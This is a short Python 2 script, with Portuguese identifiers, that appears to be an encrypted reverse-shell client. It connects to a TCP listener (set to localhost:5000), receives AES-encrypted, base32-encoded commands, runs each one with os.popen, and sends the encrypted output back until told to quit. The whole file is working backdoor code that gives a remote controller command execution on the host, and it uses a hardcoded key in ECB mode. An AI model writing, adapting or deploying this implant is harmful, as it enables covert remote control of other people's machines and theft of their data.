import socket
import os
import base64
from Crypto.Cipher import AES

chave = "0123456789ABCDEF"
aes = AES.new(chave, AES.MODE_ECB)

HOST = 'localhost'     									
PORT = 5000       									

tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
dest = (HOST, PORT)
tcp.connect(dest)																								
								
comandoCripto = tcp.recv(1024)
comando = aes.decrypt(base64.b32decode(comandoCripto)).rstrip('#')

print comando					

while comando <> '\x18':
	try:
		resultado=os.popen(comando).read()
		if len(resultado) <= 0:
			print resultado
			resultado="Comando Invalido ou O Comando nao emite uma resposta"
			
		cryptoSaida = resultado+'#'*(16-len(resultado)%16)
		texto_cifrado = base64.b32encode(aes.encrypt(cryptoSaida))
				
		tcp.send(texto_cifrado)	
	except:
		resultado = "comando inexistente"
	comandoCripto = tcp.recv(1024)
	comando = aes.decrypt(base64.b32decode(comandoCripto)).rstrip('#')
	
	if comando == "sair": break
tcp.close()												
